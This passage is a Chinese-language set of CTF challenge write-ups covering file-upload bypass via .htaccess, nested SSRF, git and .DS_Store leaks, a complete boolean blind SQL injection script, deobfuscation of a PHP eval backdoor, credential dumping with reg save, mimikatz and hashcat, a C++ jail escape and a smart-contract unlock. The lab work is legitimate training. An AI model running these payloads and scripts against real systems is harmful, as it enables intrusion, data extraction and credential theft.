-d # 输出: something_is_in_/uploads/ ``` 这明确提示我们关注 `/uploads/` 目录。 #### 1.2 分析上传表单 找到上传处理端点: ```html
``` #### 1.3 检查上传结果页面 访问 `upload.php`,在页面底部发现: ```html ``` 这提示我们可以使用目录扫描工具。 **输入点**: - 文件上传表单 (`upload.php`) - 上传文件内容可控 #### 2.1 扫描上传目录 使用 hackber 扫描上传目录: ```bash https://eci-2zeiq1qx3sg1x4c9z5ty.cloudeci1.ichunqiu.com/uploads/ ``` #### 2.2 发现关键配置文件 扫描发现: ``` https://eci-2zeiq1qx3sg1x4c9z5ty.cloudeci1.ichunqiu.com/uploads/.htaccess ``` 访问该文件内容: ``` AddType application/x-httpd-php .webp ``` #### 3.1 .htaccess 配置分析 ```apache AddType application/x-httpd-php .webp ``` **配置含义**: - `AddType`:Apache 指令,用于添加 MIME 类型映射 - `application/x-httpd-php`:PHP 解释器的 MIME 类型 - `.webp`:WebP 图片格式文件扩展名 #### 3.2 漏洞利用条件 1. 服务器允许上传 `.webp` 文件(在白名单内) 2. `.htaccess` 配置错误,将 `.webp` 当作 PHP 执行 3. 上传目录有执行 PHP 的权限 ### 第四步:绕过安全检测 參考`https://blog.csdn.net/HUANGXIN9898/article/details/145157300` #### 4.1 初始尝试失败 最初尝试上传包含完整 PHP 标签的 WebP 文件: ```php ``` 但服务器返回"文件内容存在安全风险"。 #### 4.2 发现过滤规则 经过测试发现: 1. **完整 PHP 标签被过滤**:`` 被检测到 2. **短标签可用**:`` 可以绕过检测 3. **反引号执行命令**:`` `command` `` 可以执行系统命令 4. **include 函数可用**:`include "/flag.php"` 可以包含文件 ### 第五步:实施攻击 #### 5.1 创建恶意 WebP 文件 ```bash echo '' > exploit.webp ``` #### 5.2 上传文件 通过网页表单上传 `exploit.webp`,服务器返回: ``` 恭喜!文件上传成功。 文件: exploit.webp 文件已通过安全扫描,可放心使用。 ``` #### 5.3 执行恶意代码 访问上传的文件成功显示 flag: ``` flag{58f47354-e0e8-4448-a54c-bccc7c9dd116} ``` --- # [Web] MyGo!!! ## 题目信息 - **题目名称**: MyGo!!! - **URL**: https://eci-2zecenrwk2mdd38nbm3d.cloudeci1.ichunqiu.com/ ## 解题步骤 ### 1. 网站分析 **页面功能**: - 音乐播放页面,通过代理播放音频文件 - 提供多个音乐按钮,点击后通过proxy参数获取音频 - 包含一个指向flag的按钮 **输入点**: - GET参数 `proxy` - 存在SSRF漏洞 - flag.php页面的 `soyorin` 参数 - 存在文件读取漏洞 ### 2. 漏洞挖掘 **测试Payload**: 首先尝试直接读取常见flag位置: ```python # 测试1: 直接读取flag /index.php?proxy=http://localhost/flag # 404 /index.php?proxy=http://localhost/flag.txt # 404 /index.php?proxy=http://127.0.0.1/flag # 404 index.php?proxy=http://localhost/flag.php # 发现flag.php存在 /index.php?proxy=http://localhost/../../../../flag # 404 /index.php?proxy=http://127.0.0.1/../../../../flag # 404 ``` 获取到`flag.php`的源代码: ```php ``` ### 3. 分析漏洞点 1. **IP限制**: ```php if ($client_ip !== '127.0.0.1' && $client_ip !== '::1') { echo "你是外地人,我只要\"本地\"人"; exit; } ``` - 只允许本地IP(127.0.0.1和::1)访问 2. **存在SSRF参数**: ```php if (isset($_GET['soyorin'])) { $url = $_GET['soyorin']; // cURL请求... } ``` - 参数名:`soyorin` - 可以发起任意cURL请求 3. **cURL配置**: ```php curl_setopt($ch, CURLOPT_RETURNTRANSFER, false); // 直接输出 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 跟随重定向 ``` - 结果直接输出到浏览器 4. **重要提示**: ```php echo "flag在根目录"; ``` - 明确提示flag在根目录`/` ### 4. 漏洞利用 构造Payload: ``` https://eci-2zecenrwk2mdd38nbm3d.cloudeci1.ichunqiu.com/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag ``` **URL解码分析**: - 外层:`index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag` - 内层:`flag.php?soyorin=file:///flag` 成功获取flag: ``` flag{d0f60e02-374f-4726-800a-4feda226e8e6} ``` --- # [Web] 小E的秘密计划 ## 题目信息 - **题目名称**: 小E的秘密计划 - **URL**: https://eci-2zehy0lhdsve9a8x4ncc.cloudeci1.ichunqiu.com ## 解题步骤 ### 1. 网站分析 访问题目提供的容器地址,获得关键信息点: - 提示1: "定期做备份,并保存在根目录" - 提示2: "使用git进行版本控制" - 提示3: "MAC助力提升开发效率" - 提示4: "tips:先找到网站备份文件" #### 2. 备份文件枚举 根据提示,尝试常见备份文件名: ```bash # 尝试各种备份文件命名 /backup.zip → 404 Not Found /www.zip → 成功下载 /web.zip → 404 /backup.tar.gz → 404 ``` **成功找到备份文件**: `https://eci-2zehy0lhdsve9a8x4ncc.cloudeci1.ichunqiu.com/www.zip` ### 3. 漏洞利用 #### 步骤1: 获取备份文件 ```bash wget https://target.com/www.zip unzip www.zip ``` 解压 `www.zip` 后得到目录结构: ``` www/ ├── css/ ├── public-555edc76-9621-4997-86b9-01483a50293e/ │ ├── index.html │ ├── login.php │ └── .git/ └── index.html ``` 发现关键目录:`public-555edc76-9621-4997-86b9-01483a50293e`(UUID格式命名) #### 步骤2: 分析Git历史 ```bash cd public-555edc76-9621-4997-86b9-01483a50293e git log --oneline # 输出: # 5fef682 (HEAD -> master) 删除提示 # 5f8ecc0 新增提示 # 1389b47 初始化 ``` 查看初始化提交的详细内容: ```bash git show 1389b47 ``` 返回 `login.php` 文件: ```php /dev/null | \ grep -E "[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}" && \ echo "Found in: $obj" done # 输出: #+ 'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de' #Found in: .git/objects/35/3b98f7c2fe77a5a426bf73576f5113820c4669 # 'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de' #Found in: .git/objects/f3/d34d7cb96b5bcdcda980a1413d2e35154e98de ``` 检查Git引用记录: ```bash git reflog # 输出显示存在test分支的提交记录 git checkout 353b98f # 切换到test分支的提交 ``` 成功恢复 `user.php` 文件: ```php 'admin', 'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de' ]; } ``` **获得登录凭证**: - 用户名: `admin` - 密码: `f75cc3eb-21e0-4713-9c30-998a8edb13de` #### 步骤4: 登录系统 使用凭证登录: - 用户名: `admin` - 密码: `f75cc3eb-21e0-4713-9c30-998a8edb13de` 登录成功后重定向到: ``` https://eci-2zehy0lhdsve9a8x4ncc.cloudeci1.ichunqiu.com/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ ``` 控制面板页面显示提示: > "恭喜你,离flag只差一步了。提示:小E拿mac写的这段代码。这会泄露什么吗?" **关键线索**: Mac系统开发会自动生成 `.DS_Store` 文件 #### 步骤5: 发现隐藏文件 访问secret目录的`.DS_Store`文件,解析后发现隐藏文件: (使用工具如`forBy` 參考: `https://cn-sec.com/archives/3927345.html`) ``` /secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514 ``` #### 3. 获取Flag 直接访问发现的flag文件: ``` https://eci-2zehy0lhdsve9a8x4ncc.cloudeci1.ichunqiu.com/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514 ``` **获得最终Flag**: ``` flag{257de3ec-df10-43ac-a0b1-2532915363aa} ``` --- # [Web] 白帽小K的故事(2) ## 题目信息 - **题目名称**: 白帽小K的故事(2) - **URL**: https://eci-2zeg4m5lpz5r43zjjkt5.cloudeci1.ichunqiu.com ## 解题步骤 ### 1. 网站分析 **页面功能**: - 信息查询系统 - 通过POST请求 `/search` 接口查询数据库 - 返回简单的存在/不存在状态 **关键信息从Hint对话中获取**: - 后端SQL查询语句:`SELECT 1 from Terra.animal WHERE name = '$name'` - 提示使用"盲注"技术 **输入点**: - 测试发现`name`参数存在SQL注入,但存在过滤: - 单引号 `'` 会导致500错误 - `--+`,`+`会被检测并返回"Invalid characters detected" ### 2. 漏洞挖掘 经过多次测试,发现可以使用以下技术绕过过滤: 參考`https://newstar.wiki/wp/2024/week3/web/blindsql1.html` - 如空格被过滤,可以使用括号绕过 - 如等号被过滤,可以使用LIKE绕过 - 条件为真 → 返回 `{"status":"ok","message":"Found"}` - 条件为假 → 返回 `{"status":"error","message":"Not Found"}` ### 3. 漏洞利用 **利用思路**: 1. 使用括号代替空格绕过过滤 2. 利用布尔盲注逐字符提取数据 3. 使用二分搜索算法提高效率 ### 4. 数据库信息收集 #### 4.1 获取当前数据库 ```python payload = "amiya'and(database()like'Terra')and'1'='1" ``` 发现当前数据库为`Terra` #### 4.2 获取所有数据库 ```python import requests url = "https://eci-2zeg4m5lpz5r43zjjkt5.cloudeci1.ichunqiu.com:80/search" def check(payload): data = {"name": payload} try: r = requests.post(url, data=data) return r.json().get("status") == "ok" except: return False def get_length(query): for length in range(1, 1000): payload = f"amiya'and(length({query})={length})and'1'='1" if check(payload): return length return 0 def get_char(query, position): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"amiya'and(ascii(substr({query},{position},1))>{mid})and'1'='1" if check(payload): low = mid + 1 else: payload = f"amiya'and(ascii(substr({query},{position},1))={mid})and'1'='1" if check(payload): return chr(mid) high = mid - 1 return None # 查询所有数据库 dbs_query = "(select(group_concat(schema_name))from(information_schema.schemata))" length = get_length(dbs_query) print(f"数据库名总长度: {length}") if length > 0: dbs = "" for i in range(1, length + 1): char = get_char(dbs_query, i) if char: dbs += char print(f"进度: {i}/{length}, 数据库: {dbs}") else: break print(f"所有数据库: {dbs}") ``` 发现存在多个数据库:`mysql,information_schema,performance_schema,sys,Terra,Flag` **关键发现**:存在`Flag`数据库! #### 4.3 获取Flag数据库的表 ```python import requests url = "https://eci-2zeg4m5lpz5r43zjjkt5.cloudeci1.ichunqiu.com:80/search" def check(payload): data = {"name": payload} try: r = requests.post(url, data=data) return r.json().get("status") == "ok" except: return False def get_length(query): for length in range(1, 1000): payload = f"amiya'and(length({query})={length})and'1'='1" if check(payload): return length return 0 def get_char(query, position): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"amiya'and(ascii(substr({query},{position},1))>{mid})and'1'='1" if check(payload): low = mid + 1 else: payload = f"amiya'and(ascii(substr({query},{position},1))={mid})and'1'='1" if check(payload): return chr(mid) high = mid - 1 return None # 查询Flag数据库的所有表 flag_tables_query = "(select(group_concat(table_name))from(information_schema.tables)where(table_schema='Flag'))" length = get_length(flag_tables_query) print(f"表名总长度: {length}") if length > 0: tables = "" for i in range(1, length + 1): char = get_char(flag_tables_query, i) if char: tables += char print(f"进度: {i}/{length}, 表名: {tables}") else: break print(f"Flag数据库的表: {tables}") ``` 发现Flag数据库中有`flag`表 ### 5. 获取Flag数据 #### 5.1 盲注脚本 使用二分搜索算法提高盲注效率: ```python import requests import time url = "https://eci-2zeg4m5lpz5r43zjjkt5.cloudeci1.ichunqiu.com:80/search" def check(payload): data = {"name": payload} try: r = requests.post(url, data=data) return r.json().get("status") == "ok" except: return False def get_length(query): for length in range(1, 1000): payload = f"amiya'and(length({query})={length})and'1'='1" if check(payload): return length return 0 def get_char(query, position): low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"amiya'and(ascii(substr({query},{position},1))>{mid})and'1'='1" if check(payload): low = mid + 1 else: payload = f"amiya'and(ascii(substr({query},{position},1))={mid})and'1'='1" if check(payload): return chr(mid) high = mid - 1 return None def blind_injection(): flag_query = "(select(flag)from(Flag.flag))" flag_length = get_length(flag_query) print(f"flag数据长度: {flag_length}") if flag_length == 0: print("未找到flag数据") return flag_data = "" for i in range(1, flag_length + 1): char = get_char(flag_query, i) if char: flag_data += char print(f"进度: {i}/{flag_length}, Flag: {flag_data}") time.sleep(0.1) else: break print(f"最终Flag: {flag_data}") if __name__ == "__main__": blind_injection() ``` ### 5. 最终结果 成功获取到flag: ``` flag{d40572db-0165-4f86-9543-396299841124} ``` --- # Week 4 # Misc 题目 # [Misc] 混乱的网站 ## 题目信息 - 题目名称:混乱的网站(Misc) - Flag 格式:`flag{flag1_flag2}` ## 解题思路与步骤 ### 1. 前端代码梳理(function.js) - 首页 `index.php` 的 Misc 卡片内有隐藏按钮,点击会触发 `_return()`。 - `function.js` 经过简单混淆,核心为: - 两个数组:`Aij$cmYht1`(Base64 的 URL 列表)与 `lot2`(Base64 的提示词列表)。 - 下标选择函数 `_pick(arr, idx)`,实际调用为 `_pick(arr, 2)`,以及 `_b64decode`。 - 解码 `lot2` 后得到提示集合: - `fack_flag_`、`flag_fack_`、`js_very_good`、`js_fcuk`、`how_about_js` - lot2 的原始內容其實是每個字元以 `\xNN` 混淆的 base64 字串,直接還原即可: ```python import base64 # 混淆後的 lot2 原始內容 lot2 = [ '\x5a\x6d\x46\x6a\x61\x31\x39\x6d\x62\x47\x46\x6e\x58\x77\x3d\x3d', '\x5a\x6d\x78\x68\x5a\x31\x39\x6d\x59\x57\x4e\x72\x58\x77\x3d\x3d', '\x61\x6e\x4e\x66\x64\x6d\x56\x79\x65\x56\x39\x6e\x62\x32\x39\x6b', '\x61\x6e\x4e\x66\x5a\x6d\x4e\x31\x61\x77\x3d\x3d', '\x61\x47\x39\x33\x58\x32\x46\x69\x62\x33\x56\x30\x58\x32\x70\x7a' ] # 直接 print(lot2) 就會自動還原成 base64 字串 b64_list = [s for s in lot2] print('base64 字串:', b64_list) # base64 解碼得到 flag1 候選 decoded = [base64.b64decode(s).decode() for s in b64_list] print('flag1 候選:', decoded) ``` 輸出: ``` base64 字串: ['ZmFja19mbGFnXw==', 'ZmxhZ19mYWNrXw==', 'anNfdmVyeV9nb29k', 'anNfZmN1aw==', 'aG93X2Fib3V0X2pz'] flag1 候選: ['fack_flag_', 'flag_fack_', 'js_very_good', 'js_fcuk', 'how_about_js'] ``` ### 2. 后端隐藏代码(dashboard.php) - 通过目录扫描发现可下载 `www.zip`,解压后获得 `www/dashboard.php`,其中存在一段被加密的php代码 `eval(gzinflate(base64_decode('...')));` 。 - 解码流程: 1. 外层解码(base64 + gzinflate) ```php eval(gzinflate(base64_decode('hVNdb+I4FH1faf/DqlpL7cvIMSQhqrorAnFCaAI4sRP8li8VsBMYYJqSUf/7GqadMtqtVorkI59zz7nXjn//7c8ZhLMZfPi2l2VVbMvq9gYYjgbMITAQQBgYY2BoOtBHwDSA2YfAsNAAoDEwITAHwNSBqdQWQEMDGEqEgGEDow8Mtaerch0YA2D0gKk+Exi4D5DijZ7Cw5u7+0s+nD289fG99/rlHRofsHe13YOv5yoF4cN/8Rr8wKj/6b7yUCY/PM5e369obXAVd4FXigvU/u0Fr/oxr7x6r+9DfvnJI3QVcDUnsq6w8cvMH/i6Vv9Uf189Z/L2Lfn2xncGbdwN22AM13HPznKEm6KRy1jsxhHGBq91myGyLygLs1pDtGYac/1DieSICflIvFVH3RASKWOisSBzsVfUVl2wlVwiOc+9chE7WFRSulmt+xQSypLjMXL8holjWlF9WyA/ihqOExG2FcZanBK03MhH3pRGkfgLAstTsGGMMDJbUL7JGMdsI2GBFzqn/FCObcwdPSmgP82SF6F4d9GJlkvxwurgREXZJGzZqhyDIPwYeOGcpr7HNawVKe9XNQlZJ9MCy13i+WTGGGYdu+Rz911PYDH2p2/6fuXJ54veXfWYZG7lSLGkh7aAmsyRvs3do8M7f8/q1Trw8JY4h2fCMIzQijBJOhrjr1m6UqdhjWdpuY/rYxN3/ilqbE4SNg9i2yvFpFX5ayJITNwtLBxfCxp/VFHSJlQGGfW10JVB3CMtwcOukHhLZchLetwxHIoChVnV+JuiIU3uERzDQKfO5CVLGVfn5nBNLrgb9rNNaS82T/vMIWq+MM01tqZO0XGJk6jx1bxWXOFlbynt5xhxXni4y52Qcimj8/nGG1IvkWhV3y9Z41MmdqfK3XmZV57v4yUT1olhPi1EX4+guj+I22AjJ0TiWeTwHkXWz/uIhEVKj7SB2E1iDe9Y6pOSlquos7vcDdqzH9tgHEg/KerQyNV/WIljnLvbt/6eulisGsr4hNcMLpKgLYQ1iqhuLxH7GiL1P3VyTd3Bc9k41jyamDzlq3z01My7fvO4JvNgbM8DZ7C9vA04aIPRkziv53cyHZEzp97L8OCrcrUqfnuaRu3/aH7wZ/yZ9leN2E3jw8PN3d39H3//9Q8='))); ``` ```bash php -r '$s = "外层_base64字符串"; echo gzinflate(base64_decode($s));' > decoded_outer.php ``` 得到中间 PHP(含 $O0O000 池 / 索引拼接 / 内层 base64)。 ``` $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iT3Bab2FncnlYTkpDSFF6Zm5BV2RrcUVNam12UmV1VGJsd2lCVklLRHhzUGN0RllTR1VMaGFHcm9mcVhlY2lPbHdQTEFkellGam5JU0RUVWttSEJnVktXeU5oc2JSSnZFWkNweFF1TXR2YjlLZnd6cWJQR0dyMjVVRVROQUZjaVZFVjl0cFQ5ZUZsdDBFZE5Wc0JKaWxkaVZGQzkwZlkxVmMyUkdnWVYwc2J6R2FLMHNPUXJHZ1F1cXZ4emRNVzlXcFlpWHJROVVFVzVLZnd6ZGFLMHNPUXR0cDJKcXZ4emR4eHlvcFlpWGh3VlVGeElkYUswc01lb25obGtEZzJrVmhiMHFoREsvRVF0S2hRVlRzUTFqaXh0RU9DOXdrTmtnTzJySnBZRWVPMTBHdkIwZGFiRkRTRGo0cEJ1MnJCeURwWUlMaUJ1NGlMT3RwRFAzclFoUlNZdUtpVFNkc2NaenJjcnRnbHRFT0M5UEIxaXVZZUZEZ1lQZGN4ajdBQjgraERKcXNXb1ViUEczZlFWSnJ4em9TeFY3YlBvT2ZZcHFzbENUZllSVmMyTjRmY2kwRWVxanJUVkpyeGpHaHdKaWxxak9yVFZKck45S0Zja0FwMjlIRlFOSEZ3U29PUXJHZ1F1Sk9RdHRwMkpIT1FpVXJRdUdhSzBzbGMwaWxxVjFFMlJWcmN6b2lCektTbGo3YlBvT2gzTkhnUVZIZmV0QWMwck9CSU5BY2VqN2JQRzliUG8vdnE9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")); ?> ``` 2. 提取内层 base64 并解码 中间代码常包含一个长的 base64 字符串(被赋给 $O0O000)。把它提取并解码: ```bash grep -oP '"[A-Za-z0-9+/=]{40,}"' decoded_outer.php | head -n1 | tr -d '"' > temp.b64 php -r 'echo base64_decode(trim(file_get_contents("temp.b64")));' > inner_decoded.php ``` ``` $O0O000="OpZoagryXNJCHQzfnAWdkqEMjmvReuTblwiBVIKDxsPctFYSGULhaGrofqXeciOlwPLAdzYFjnISDTUkmHBgVKWyNhsbRJvEZCpxQuMtvb9KfwzqbPGGr25UETNAFciVEV9tpT9eFlt0EdNVsBJildiVFC90fY1Vc2RGgYV0sbzGaK0sOQrGgQuqvxzdMW9WpYiXrQ9UEW5KfwzdaK0sOQttp2JqvxzdxxyopYiXhwVUFxIdaK0sMeonhlkDg2kVhb0qhDK/EQtKhQVTsQ1jixtEOC9wkNkgO2rJpYEeO10GvB0dabFDSDj4pBu2rByDpYILiBu4iLOtpDP3rQhRSYuKiTSdscZzrcrtgltEOC9PB1iuYeFDgYPdcxj7AB8+hDJqsWoUbPG3fQVJrxzoSxV7bPoOfYpqslCTfYRVc2N4fci0EeqjrTVJrxjGhwJilqjOrTVJrN9KFckAp29HFQNHFwSoOQrGgQuJOQttp2JHOQiUrQuGaK0slc0ilqV1E2RVrczoiBzKSlj7bPoOh3NHgQVHfetAc0rOBINAcej7bPG9bPo/vq==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); ``` 3. 模拟 substr/strtr 拼接逻辑并获取最终 PHP ```bin python3 - <<'PY' import re,base64 s = open('inner_decoded.php','r',encoding='utf-8',errors='replace').read() pool = re.search(r'\$O0O000\s*=\s*"(.*?)";', s, re.S).group(1) # 题中 OO0000 = 52(可从 decoded_outer.php 的 $OO0000 定义解析得到) n = 52 a = pool[n*2:] b = pool[n:n*2] c = pool[0:n] minlen = min(len(b), len(c)) a_trans = a.translate(str.maketrans(b[:minlen], c[:minlen])) out = base64.b64decode(a_trans).decode('utf-8',errors='replace') print(out) open('recovered_final.php','w',encoding='utf-8').write(out) PY ``` ```php "; **/ while (1){ if (!file_exists($file)) { file_put_contents($file,$hack.$code); } usleep(5000); #unlink(__FILE__); } ?> ``` - 得到一段 PHP 代码,核心片段如下: ```php /** $code = ""; **/ ``` 这说明 dashboard.php 会校验 `md5(flag2)` 是否等于 `87c298a56e0caa355872ab47db11e06c`。 反查 MD5 原文 - 使用在线平台(如 cmd5.com)查询该 MD5: - `87c298a56e0caa355872ab47db11e06c` → 明文 `ns2025` ### 4. 组合最终 Flag - flag1:`js_very_good` - flag2:`ns2025` 最终答案: ``` flag{js_very_good_ns2025} ``` --- # [Misc] SimpleVault 智能合约 ## 题目信息 - **题目名称**: SimpleVault 智能合约 - **合约地址**: 0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08 - **区块链网络**: Sepolia 测试链 ## 解题步骤 ### 1. 合约分析 **合约功能**: ```solidity contract SimpleVault { string private flag = "flag{fake_flag}"; uint256 private password = 0x0721; mapping(address => bool) public unlocked; function unlock(uint256 _password) external { require(!unlocked[msg.sender], "Already unlocked!"); if (_password == password) { unlocked[msg.sender] = true; } } function getFlag() external view returns (string memory) { require(unlocked[msg.sender], "Vault is locked. Unlock it first!"); return flag; } } ``` **关键逻辑**: - 需要调用 `unlock()` 并传入正确密码来解锁 - 解锁后调用 `getFlag()` 获取 flag - 密码存储在私有变量 `password` 中 ### 2. 漏洞挖掘 **密码分析**: - 合约中硬编码密码 `uint256 private password = 0x0721;` - 十六进制 `0x0721` = 十进制 `1825` ### 3. 漏洞利用 **利用思路**: 直接调用合约的 `unlock(1825)` 函数来解锁,然后调用 `getFlag()` 获取 flag **利用工具**: - Remix IDE - MetaMask 钱包 - Sepolia 测试网 ETH ### 4. 利用过程 [參考](https://blog.csdn.net/Maolei_NyaRu_/article/details/151724470) ## **步骤1**: 配置环境 ### MetaMask 连接到 Sepolia 测试网 - 访问 `https://developer.metamask.io/` 在 `Infura RPC` 中 `Active Endpoints` 找到 `Ethereum Sepolia` 复制 `Ethereum Sepolia` 的 HTTPS 端点 - 在 MetaMask 中 点击 "Add network" 手动添加 ```text 网络名称: Sepolia RPC URL: Ethereum Sepolia 的 HTTPS 端点 链 ID: 11155111 货币符号: ETH 区块浏览器: https://sepolia.etherscan.io ``` ### 获取 Sepolia [测试 ETH](https://cloud.google.com/application/web3/faucet/ethereum/sepolia) ## **步骤2**: 与合约交互 打开 `Remix Desktop` 打开题目附件所在 `SimpleVault2.0_user.sol` 的文件夹 然后在上方点击三角形按钮 在 Remix 界面的最左侧,会看到一列垂直的图标: 点击那个看起来像右下角有个小火箭?(`反正是一个好像四边形的东西`)的图标或者鼠标悬停在图标上会显示 "Deploy & Run Transactions" 点击后,主界面会显示以下内容: ```text ENVIRONMENT 下拉菜单 ACCOUNT GAS LIMIT VALUE CONTRACT At Address ``` 在 ENVIRONMENT 下拉菜单中,选择 "`Borwser Wallet`" 会弹出一个网页连接请求,点击`Sepolia Testnet - MetaMask` "连接" 然后返回 `Remix Desktop` "At Address" 输入题目地址 `0x88DC8f1de5Ff74d644C1a1defDc54869E5Ce3c08` 点击 "At Address" 打开下方在 `Deployed Contracts` 下方的 `SIMPLEVAULT AT 0X88D...E3C08` 在 `unlock` 输入 `1825` 然后点击`unlock` 然后再点击 `getFlag` 等待一会儿得到 ```text 0: string: flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t} ```` ### 5. 获取Flag ``` flag{E4sy_S0lidity_D3v_F1a9_C0d3_4ud1t} ``` --- # [Misc] 应急响应-初识 ## 题目信息 - **题目名称**: 应急响应-初识 - **目标系统**: Windows Server ## 解题步骤 ### 1. 系统环境 - **网站目录**: 登录虚拟机 (`Administrator/Newst@r`) 后发现两个Web根目录 - `C:\inetpub\wwwroot\` - `C:\ProgramData\phpstudy_pro\WWW\` ### 2. 初步排查 首先检查主要Web目录文件: ```bash # 检查inetpub目录 C:\inetpub\wwwroot\index.php C:\inetpub\wwwroot\upload.php C:\inetpub\aspupload.exe # 检查phpStudy目录 C:\ProgramData\phpstudy_pro\WWW\index.php C:\ProgramData\phpstudy_pro\WWW\upload.php ``` ### 3. 深入调查 ```bash # 检查 Web 目录 cd "C:\ProgramData\phpstudy_pro\WWW" # 检查 index.php 内容 Get-Content index.php -Raw # 检查 upload.php 内容 Get-Content upload.php -Raw # 检查 uploads 目录 ls uploads -Force ``` 在`C:\ProgramData\phpstudy_pro\WWW\uploads`目录中发现隐藏文件: ```bash Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2025/9/1 23:26 272226 20250901232659_68b5bb435c519.png -a---- 2025/9/1 23:29 62110 20250901232910_68b5bbc6e2056.png -a---- 2025/9/1 23:29 80537 20250901232954_68b5bbf2ad8c5.jpg -a---- 2025/9/1 23:30 5667133 20250901233010_68b5bc0219561.jpg -a---- 2025/9/1 23:30 149317 20250901233018_68b5bc0a6ab6a.png -a---- 2025/9/1 23:30 49504 20250901233042_68b5bc22c7ea4.jpg -a-h-- 2025/9/1 23:31 299 _________.php(隐藏文件) ``` ### 4. 隐藏文件分析 发现的文件`_________.php`内容如下: ```php ``` ## 密码计算分析 ### 1. 代码分析 ```php $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond ``` **关键信息**: - 密钥:`e45e329feb5d925b` - 注释明确说明:**默认连接密码是 `rebeyond`** ## 影子用户查找 ### 1. 发现影子用户 ```powershell Get-LocalUser ``` 发现隐藏用户:**`nEw5tar$`** ### 2. 发现创建账号工具 在 `C:\Users` 目录发现: - `CreateHiddenAccount_v0.2.exe` (WgpSec团队工具) - 工具发布时间:通过[GitHub](https://github.com/wgpsec/CreateHiddenAccount/releases)查询确认发布时间为 **2022-01-18** ### 3. 提取影子用户密码 使用 mimikatz 提取用户哈希([參考](https://blog.csdn.net/qq_45927819/article/details/122731789)): ```bash # 导出 SAM 和 SYSTEM reg save HKLM\SAM C:\sam.save reg save HKLM\SYSTEM C:\system.save # 使用 mimikatz 分析 lsadump::sam /sam:C:\sam.save /system:C:\system.save ``` 得到 `nEw5tar$` 用户的 NTLM 哈希:`7e5c358b43a26bddec105574bee24eef` 使用 hashcat 破解: ```bash hashcat -m 1000 -a 3 hash.txt -1 ?l?u ?1?1?1?1?1?1?1 --force ``` 成功破解出明文密码:**`Ns2025`** ### 4. 获取Flag ``` flag{rebeyond_2022-01-18_Ns2025} ``` --- # [Misc] NeuroJail ## 题目信息 - 题目名称: jail-Neuro jail - 容器地址: `nc 8.147.132.32 27654` - 题目类型: Python Jail(C++ 模板注入) ## 解题步骤 ### 1. 环境与约束分析 题目服务端逻辑: - 接受 Base64 输入,解码得到 `content`。 - 约束:长度 ≤ 200;黑名单字符:`()`、`[]`、`{}`、`<>`(任一出现即退出)。 - 将 `content` 替换进 C++ 模板 `/* YOUR CODE HERE */` 位置,编译并执行。 - 若运行输出中包含 `NewStar!!!`,则读取并打印 `./flag`。 模板(`template_cpp.cpp`): ```cpp #include #include int main() { /* YOUR CODE HERE */ std::string s = "NoWay"; std::cout << s; return 0; } ``` 目标很明确:不使用被禁字符,在 200 字以内,让最终输出包含 `NewStar!!!`。 ### 2. 绕过思路(行拼接 + 行注释) - 利用 C 预处理的“行拼接”规则:物理行末尾的反斜杠 `\` 会把下一行与本行拼接为同一行。 - 构造一行初始化我们自己的 `s`,并在末尾使用 `//` 注释 + 行末反斜杠,把模板中的下一行 `std::string s = "NoWay";` 整行吞掉(变成注释内容)。 - 效果:变量 `s` 被我们设为 `"NewStar!!!"`,后续 `std::cout << s;` 输出即为目标字符串。 payload: ``` std::string s="NewStar!!!"; //\ ``` 说明:该 payload 会被插入到 `/* YOUR CODE HERE */` 所在行,行末 `\` 与模板中下一行拼接,使得 `std::string s = "NoWay";` 成为注释的一部分而失效。 ### 3. 交互与验证 - 将上述 payload Base64 编码后发送到远端交互,服务端会编译并执行。 - 实测输出: ``` Program output: NewStar!!! ``` - 由于输出包含 `NewStar!!!`,服务端随即打印 flag。 ### 4. 最终Flag ``` flag{5a1e57af-c744-4a51-b671-4226ae527637} ``` --- # [Misc] 看看你有多大 ## 题目信息 - **题目名称**: 流量分析-听声辩位 - 目標:依 HTTP 回應大小判斷布林結果,還原盲注枚舉的資料與最終 flag - 文件: - `blindsql.pcapng`(HTTP 封包) - `blindsql.log`(从`blindsql.pcapng`手动复制HTTP的资料出来) ## 解題思路 1. 先觀察 `blindsql.log` 的「回應長度 Length」分佈,發現兩個主要穩定值:1091 與 1124。 ```log No. Time Source Destination Protocol Length Info 4 0.000981 171.16.20.55 171.16.20.89 HTTP 264 